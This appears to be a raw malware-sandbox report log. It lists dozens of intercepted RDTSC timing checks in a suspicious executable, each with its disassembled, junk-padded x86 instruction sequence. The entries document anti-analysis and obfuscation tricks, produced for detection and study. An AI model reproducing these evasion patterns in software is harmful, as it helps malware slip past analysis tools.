Source: C:\Users\userIJKFHIIEHI.exe	RDTSC instruction interceptor: First address: 75428D second address: 754291 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\userIJKFHIIEHI.exe	RDTSC instruction interceptor: First address: 78FBF1 second address: 78FC11 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FF88929ECB6h 0x00000008 jmp 00007FF88929ECC3h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push edi 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\userIJKFHIIEHI.exe	RDTSC instruction interceptor: First address: 78FC11 second address: 78FC2B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FF888DC1E9Eh 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\userIJKFHIIEHI.exe	RDTSC instruction interceptor: First address: 78FC2B second address: 78FC44 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FF88929ECC3h 0x0000000b rdtsc
Source: C:\Users\userIJKFHIIEHI.exe	RDTSC instruction interceptor: First address: 78FC44 second address: 78FC49 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\userIJKFHIIEHI.exe	RDTSC instruction interceptor: First address: 790035 second address: 790041 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007FF88929ECB8h 0x0000000a rdtsc
Source: C:\Users\userIJKFHIIEHI.exe	RDTSC instruction interceptor: First address: 790041 second address: 790065 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF888DC1EA7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jc 00007FF888DC1EB5h 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\userIJKFHIIEHI.exe	RDTSC instruction interceptor: First address: 790065 second address: 79006B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\userIJKFHIIEHI.exe	RDTSC instruction interceptor: First address: 790346 second address: 79034A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\userIJKFHIIEHI.exe	RDTSC instruction interceptor: First address: 792696 second address: 7926B1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FF88929ECC1h 0x0000000f rdtsc
Source: C:\Users\userIJKFHIIEHI.exe	RDTSC instruction interceptor: First address: 792778 second address: 792785 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\userIJKFHIIEHI.exe	RDTSC instruction interceptor: First address: 792785 second address: 792789 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\userIJKFHIIEHI.exe	RDTSC instruction interceptor: First address: 792789 second address: 7927B0 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FF888DC1E96h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop eax 0x0000000b mov eax, dword ptr [esp+04h] 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007FF888DC1EA5h 0x00000017 rdtsc
Source: C:\Users\userIJKFHIIEHI.exe	RDTSC instruction interceptor: First address: 7927B0 second address: 7927BA instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\userIJKFHIIEHI.exe	RDTSC instruction interceptor: First address: 7927BA second address: 7927BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\userIJKFHIIEHI.exe	RDTSC instruction interceptor: First address: 7927BE second address: 7927E7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF88929ECC8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a mov eax, dword ptr [eax] 0x0000000c jo 00007FF88929ECC0h 0x00000012 push eax 0x00000013 push edx 0x00000014 push ecx 0x00000015 pop ecx 0x00000016 rdtsc
Source: C:\Users\userIJKFHIIEHI.exe	RDTSC instruction interceptor: First address: 7927E7 second address: 7927FE instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov dword ptr [esp+04h], eax 0x0000000a pushad 0x0000000b ja 00007FF888DC1E98h 0x00000011 push eax 0x00000012 push edx 0x00000013 push ecx 0x00000014 pop ecx 0x00000015 rdtsc
Source: C:\Users\userIJKFHIIEHI.exe	RDTSC instruction interceptor: First address: 7927FE second address: 792802 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\userIJKFHIIEHI.exe	RDTSC instruction interceptor: First address: 792802 second address: 79287D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 pop eax 0x00000008 xor edi, 32404323h 0x0000000e call 00007FF888DC1E99h 0x00000013 jmp 00007FF888DC1EA8h 0x00000018 push eax 0x00000019 jmp 00007FF888DC1E9Eh 0x0000001e mov eax, dword ptr [esp+04h] 0x00000022 jg 00007FF888DC1EA2h 0x00000028 mov eax, dword ptr [eax] 0x0000002a push edx 0x0000002b jmp 00007FF888DC1EA1h 0x00000030 pop edx 0x00000031 mov dword ptr [esp+04h], eax 0x00000035 pushad 0x00000036 push esi 0x00000037 pushad 0x00000038 popad 0x00000039 pop esi 0x0000003a pushad 0x0000003b jp 00007FF888DC1E96h 0x00000041 push eax 0x00000042 push edx 0x00000043 rdtsc
Source: C:\Users\userIJKFHIIEHI.exe	RDTSC instruction interceptor: First address: 7934E5 second address: 7934E9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\userIJKFHIIEHI.exe	RDTSC instruction interceptor: First address: 794E96 second address: 794E9A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\userIJKFHIIEHI.exe	RDTSC instruction interceptor: First address: 794E9A second address: 794EA7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\userIJKFHIIEHI.exe	RDTSC instruction interceptor: First address: 794EA7 second address: 794EAE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\userIJKFHIIEHI.exe	RDTSC instruction interceptor: First address: 794EAE second address: 794ED3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF88929ECC5h 0x00000007 push ebx 0x00000008 jmp 00007FF88929ECBBh 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\userIJKFHIIEHI.exe	RDTSC instruction interceptor: First address: 795E8B second address: 795E95 instructions: 0x00000000 rdtsc 0x00000002 je 00007FF888DC1E9Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\userIJKFHIIEHI.exe	RDTSC instruction interceptor: First address: 796F7E second address: 796F82 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\userIJKFHIIEHI.exe	RDTSC instruction interceptor: First address: 796F82 second address: 796FE1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 push eax 0x00000008 jmp 00007FF888DC1E9Eh 0x0000000d nop 0x0000000e movsx edi, si 0x00000011 push 00000000h 0x00000013 jmp 00007FF888DC1EA4h 0x00000018 push 00000000h 0x0000001a push 00000000h 0x0000001c push ebp 0x0000001d call 00007FF888DC1E98h 0x00000022 pop ebp 0x00000023 mov dword ptr [esp+04h], ebp 0x00000027 add dword ptr [esp+04h], 0000001Ch 0x0000002f inc ebp 0x00000030 push ebp 0x00000031 ret 0x00000032 pop ebp 0x00000033 ret 0x00000034 movzx edi, dx 0x00000037 xchg eax, ebx 0x00000038 pushad 0x00000039 push eax 0x0000003a push edx 0x0000003b push eax 0x0000003c push edx 0x0000003d rdtsc
Source: C:\Users\userIJKFHIIEHI.exe	RDTSC instruction interceptor: First address: 796FE1 second address: 796FE5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\userIJKFHIIEHI.exe	RDTSC instruction interceptor: First address: 796FE5 second address: 796FE9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\userIJKFHIIEHI.exe	RDTSC instruction interceptor: First address: 796FE9 second address: 797000 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FF88929ECBFh 0x0000000d rdtsc
Source: C:\Users\userIJKFHIIEHI.exe	RDTSC instruction interceptor: First address: 79677C second address: 796780 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\userIJKFHIIEHI.exe	RDTSC instruction interceptor: First address: 797A48 second address: 797A4E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\userIJKFHIIEHI.exe	RDTSC instruction interceptor: First address: 79C334 second address: 79C338 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\userIJKFHIIEHI.exe	RDTSC instruction interceptor: First address: 7A167F second address: 7A16F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 jmp 00007FF88929ECC4h 0x0000000d push edi 0x0000000e pop edi 0x0000000f popad 0x00000010 jmp 00007FF88929ECC0h 0x00000015 popad 0x00000016 push eax 0x00000017 push edx 0x00000018 push esi 0x00000019 jmp 00007FF88929ECC0h 0x0000001e jmp 00007FF88929ECC7h 0x00000023 pop esi 0x00000024 pushad 0x00000025 jmp 00007FF88929ECC6h 0x0000002a jbe 00007FF88929ECB6h 0x00000030 push eax 0x00000031 push edx 0x00000032 rdtsc
Source: C:\Users\userIJKFHIIEHI.exe	RDTSC instruction interceptor: First address: 7A16F9 second address: 7A1704 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007FF888DC1E96h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\userIJKFHIIEHI.exe	RDTSC instruction interceptor: First address: 7A1704 second address: 7A170E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jng 00007FF88929ECB6h 0x0000000a rdtsc
Source: C:\Users\userIJKFHIIEHI.exe	RDTSC instruction interceptor: First address: 7A1CB5 second address: 7A1CBF instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FF888DC1E96h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\userIJKFHIIEHI.exe	RDTSC instruction interceptor: First address: 7A1CBF second address: 7A1CC4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\userIJKFHIIEHI.exe	RDTSC instruction interceptor: First address: 7A1E4E second address: 7A1E5D instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\userIJKFHIIEHI.exe	RDTSC instruction interceptor: First address: 7A1E5D second address: 7A1E61 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\userIJKFHIIEHI.exe	RDTSC instruction interceptor: First address: 7A1E61 second address: 7A1E65 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\userIJKFHIIEHI.exe	RDTSC instruction interceptor: First address: 7A1E65 second address: 7A1E6B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\userIJKFHIIEHI.exe	RDTSC instruction interceptor: First address: 7A1E6B second address: 7A1E71 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\userIJKFHIIEHI.exe	RDTSC instruction interceptor: First address: 7A1E71 second address: 7A1EFA instructions: 0x00000000 rdtsc 0x00000002 jo 00007FF88929ECB6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c nop 0x0000000d push 00000000h 0x0000000f push eax 0x00000010 call 00007FF88929ECB8h 0x00000015 pop eax 0x00000016 mov dword ptr [esp+04h], eax 0x0000001a add dword ptr [esp+04h], 00000018h 0x00000022 inc eax 0x00000023 push eax 0x00000024 ret 0x00000025 pop eax 0x00000026 ret 0x00000027 push dword ptr fs:[00000000h] 0x0000002e push 00000000h 0x00000030 push edi 0x00000031 call 00007FF88929ECB8h 0x00000036 pop edi 0x00000037 mov dword ptr [esp+04h], edi 0x0000003b add dword ptr [esp+04h], 0000001Bh 0x00000043 inc edi 0x00000044 push edi 0x00000045 ret 0x00000046 pop edi 0x00000047 ret 0x00000048 mov dword ptr [ebp+12468959h], esi 0x0000004e mov dword ptr fs:[00000000h], esp 0x00000055 or bh, 0000003Dh 0x00000058 mov eax, dword ptr [ebp+122D0B21h] 0x0000005e mov dword ptr [ebp+122D2AD8h], eax 0x00000064 push FFFFFFFFh 0x00000066 sub di, 03C1h 0x0000006b nop 0x0000006c push eax 0x0000006d push edx 0x0000006e js 00007FF88929ECBCh 0x00000074 rdtsc
Source: C:\Users\userIJKFHIIEHI.exe	RDTSC instruction interceptor: First address: 7A1EFA second address: 7A1F00 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\userIJKFHIIEHI.exe	RDTSC instruction interceptor: First address: 7A1F00 second address: 7A1F18 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FF88929ECB6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d pushad 0x0000000e pushad 0x0000000f pushad 0x00000010 popad 0x00000011 push edi 0x00000012 pop edi 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\userIJKFHIIEHI.exe	RDTSC instruction interceptor: First address: 7A1F18 second address: 7A1F1C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\userIJKFHIIEHI.exe	RDTSC instruction interceptor: First address: 7A3BFF second address: 7A3C28 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop ebx 0x00000006 nop 0x00000007 push edx 0x00000008 push eax 0x00000009 mov ebx, 5182D461h 0x0000000e pop ebx 0x0000000f pop edi 0x00000010 push 00000000h 0x00000012 mov ebx, dword ptr [ebp+122D3895h] 0x00000018 push 00000000h 0x0000001a push edx 0x0000001b mov edi, dword ptr [ebp+122D3398h] 0x00000021 pop ebx 0x00000022 push eax 0x00000023 push eax 0x00000024 push edx 0x00000025 push ecx 0x00000026 push edx 0x00000027 pop edx 0x00000028 pop ecx 0x00000029 rdtsc
Source: C:\Users\userIJKFHIIEHI.exe	RDTSC instruction interceptor: First address: 7A3C28 second address: 7A3C2E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\userIJKFHIIEHI.exe	RDTSC instruction interceptor: First address: 7A2D86 second address: 7A2D8C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\userIJKFHIIEHI.exe	RDTSC instruction interceptor: First address: 7A2D8C second address: 7A2D91 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\userIJKFHIIEHI.exe	RDTSC instruction interceptor: First address: 7A4EA8 second address: 7A4EAC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\userIJKFHIIEHI.exe	RDTSC instruction interceptor: First address: 7A4EAC second address: 7A4EB2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\userIJKFHIIEHI.exe	RDTSC instruction interceptor: First address: 7A5FD4 second address: 7A5FD8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\userIJKFHIIEHI.exe	RDTSC instruction interceptor: First address: 7A6099 second address: 7A609F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\userIJKFHIIEHI.exe	RDTSC instruction interceptor: First address: 7A609F second address: 7A60A3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\userIJKFHIIEHI.exe	RDTSC instruction interceptor: First address: 7A7F6E second address: 7A7F87 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF888DC1EA0h 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\userIJKFHIIEHI.exe	RDTSC instruction interceptor: First address: 7A7F87 second address: 7A7F8B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\userIJKFHIIEHI.exe	RDTSC instruction interceptor: First address: 7A8F08 second address: 7A8F2E instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pushad 0x00000004 popad 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a pushad 0x0000000b jmp 00007FF888DC1EA9h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\userIJKFHIIEHI.exe	RDTSC instruction interceptor: First address: 7A8113 second address: 7A819F instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jmp 00007FF88929ECBBh 0x00000008 pop ebx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b nop 0x0000000c mov ebx, dword ptr [ebp+12458C2Ah] 0x00000012 push dword ptr fs:[00000000h] 0x00000019 mov bh, al 0x0000001b mov dword ptr fs:[00000000h], esp 0x00000022 push 00000000h 0x00000024 push edx 0x00000025 call 00007FF88929ECB8h 0x0000002a pop edx 0x0000002b mov dword ptr [esp+04h], edx 0x0000002f add dword ptr [esp+04h], 00000015h 0x00000037 inc edx 0x00000038 push edx 0x00000039 ret 0x0000003a pop edx 0x0000003b ret 0x0000003c mov edi, ecx 0x0000003e mov eax, dword ptr [ebp+122D0BCDh] 0x00000044 push 00000000h 0x00000046 push edi 0x00000047 call 00007FF88929ECB8h 0x0000004c pop edi 0x0000004d mov dword ptr [esp+04h], edi 0x00000051 add dword ptr [esp+04h], 00000017h 0x00000059 inc edi 0x0000005a push edi 0x0000005b ret 0x0000005c pop edi 0x0000005d ret 0x0000005e push edi 0x0000005f pop ebx 0x00000060 push FFFFFFFFh 0x00000062 mov dword ptr [ebp+122D2CD1h], ecx 0x00000068 nop 0x00000069 push eax 0x0000006a push edx 0x0000006b jmp 00007FF88929ECC3h 0x00000070 rdtsc
Source: C:\Users\userIJKFHIIEHI.exe	RDTSC instruction interceptor: First address: 7A9F49 second address: 7A9F68 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pushad 0x00000004 popad 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FF888DC1EA2h 0x00000012 rdtsc
Source: C:\Users\userIJKFHIIEHI.exe	RDTSC instruction interceptor: First address: 7A9F68 second address: 7A9F77 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF88929ECBBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\userIJKFHIIEHI.exe	RDTSC instruction interceptor: First address: 7A9F77 second address: 7A9F81 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 je 00007FF888DC1E96h 0x0000000a rdtsc
Source: C:\Users\userIJKFHIIEHI.exe	RDTSC instruction interceptor: First address: 7A90D1 second address: 7A9155 instructions: 0x00000000 rdtsc 0x00000002 jno 00007FF88929ECB6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b nop 0x0000000c js 00007FF88929ECC2h 0x00000012 ja 00007FF88929ECBCh 0x00000018 mov ebx, ecx 0x0000001a push dword ptr fs:[00000000h] 0x00000021 sub dword ptr [ebp+122D2B1Dh], ebx 0x00000027 mov dword ptr fs:[00000000h], esp 0x0000002e mov dword ptr [ebp+122D3400h], ecx 0x00000034 mov eax, dword ptr [ebp+122D0BA9h] 0x0000003a sub dword ptr [ebp+1246ACC5h], eax 0x00000040 push FFFFFFFFh 0x00000042 push 00000000h 0x00000044 push ebp 0x00000045 call 00007FF88929ECB8h 0x0000004a pop ebp 0x0000004b mov dword ptr [esp+04h], ebp 0x0000004f add dword ptr [esp+04h], 00000016h 0x00000057 inc ebp 0x00000058 push ebp 0x00000059 ret 0x0000005a pop ebp 0x0000005b ret 0x0000005c movzx edi, ax 0x0000005f nop 0x00000060 push eax 0x00000061 push edx 0x00000062 push ecx 0x00000063 jmp 00007FF88929ECC6h 0x00000068 pop ecx 0x00000069 rdtsc
Source: C:\Users\userIJKFHIIEHI.exe	RDTSC instruction interceptor: First address: 7AE034 second address: 7AE038 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\userIJKFHIIEHI.exe	RDTSC instruction interceptor: First address: 7AE038 second address: 7AE066 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF88929ECBCh 0x00000007 jmp 00007FF88929ECBAh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pop esi 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 pushad 0x00000013 popad 0x00000014 pushad 0x00000015 popad 0x00000016 jmp 00007FF88929ECBBh 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\userIJKFHIIEHI.exe	RDTSC instruction interceptor: First address: 7AF5D1 second address: 7AF5D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\userIJKFHIIEHI.exe	RDTSC instruction interceptor: First address: 7B051F second address: 7B0523 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\userIJKFHIIEHI.exe	RDTSC instruction interceptor: First address: 7B0523 second address: 7B0535 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FF888DC1E96h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jnc 00007FF888DC1E9Ch 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\userIJKFHIIEHI.exe	RDTSC instruction interceptor: First address: 7B0535 second address: 7B055B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 nop 0x00000006 mov ebx, dword ptr [ebp+122D3929h] 0x0000000c push 00000000h 0x0000000e or ebx, dword ptr [ebp+122D337Ch] 0x00000014 push 00000000h 0x00000016 jmp 00007FF88929ECBAh 0x0000001b push eax 0x0000001c pushad 0x0000001d push eax 0x0000001e push edx 0x0000001f pushad 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\userIJKFHIIEHI.exe	RDTSC instruction interceptor: First address: 7B055B second address: 7B055F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\userIJKFHIIEHI.exe	RDTSC instruction interceptor: First address: 7AF732 second address: 7AF7DE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnp 00007FF88929ECB6h 0x00000009 jc 00007FF88929ECB6h 0x0000000f popad 0x00000010 pop edx 0x00000011 pop eax 0x00000012 push eax 0x00000013 jc 00007FF88929ECD5h 0x00000019 je 00007FF88929ECCFh 0x0000001f jmp 00007FF88929ECC9h 0x00000024 nop 0x00000025 sbb edi, 0DCA7789h 0x0000002b mov dword ptr [ebp+122D2120h], esi 0x00000031 push dword ptr fs:[00000000h] 0x00000038 mov dword ptr [ebp+122D2F7Fh], edx 0x0000003e mov dword ptr fs:[00000000h], esp 0x00000045 mov edi, 292FE3DFh 0x0000004a mov eax, dword ptr [ebp+122D1179h] 0x00000050 mov di, si 0x00000053 push FFFFFFFFh 0x00000055 push 00000000h 0x00000057 push edi 0x00000058 call 00007FF88929ECB8h 0x0000005d pop edi 0x0000005e mov dword ptr [esp+04h], edi 0x00000062 add dword ptr [esp+04h], 0000001Ch 0x0000006a inc edi 0x0000006b push edi 0x0000006c ret 0x0000006d pop edi 0x0000006e ret 0x0000006f nop 0x00000070 push ebx 0x00000071 push edi 0x00000072 jbe 00007FF88929ECB6h 0x00000078 pop edi 0x00000079 pop ebx 0x0000007a push eax 0x0000007b push esi 0x0000007c push eax 0x0000007d push edx 0x0000007e jmp 00007FF88929ECC0h 0x00000083 rdtsc
Source: C:\Users\userIJKFHIIEHI.exe	RDTSC instruction interceptor: First address: 7AF7DE second address: 7AF7E2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\userIJKFHIIEHI.exe	RDTSC instruction interceptor: First address: 7B2831 second address: 7B283B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\userIJKFHIIEHI.exe	RDTSC instruction interceptor: First address: 7B283B second address: 7B2841 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\userIJKFHIIEHI.exe	RDTSC instruction interceptor: First address: 7B2841 second address: 7B2847 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\userIJKFHIIEHI.exe	RDTSC instruction interceptor: First address: 755E5E second address: 755E76 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FF888DC1E9Fh 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\userIJKFHIIEHI.exe	RDTSC instruction interceptor: First address: 7B8FD0 second address: 7B8FDE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edi 0x00000006 jp 00007FF88929ECB6h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\userIJKFHIIEHI.exe	RDTSC instruction interceptor: First address: 7B8FDE second address: 7B8FE7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 push esi 0x00000008 pop esi 0x00000009 rdtsc
Source: C:\Users\userIJKFHIIEHI.exe	RDTSC instruction interceptor: First address: 74F0F0 second address: 74F0F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edi 0x00000007 rdtsc
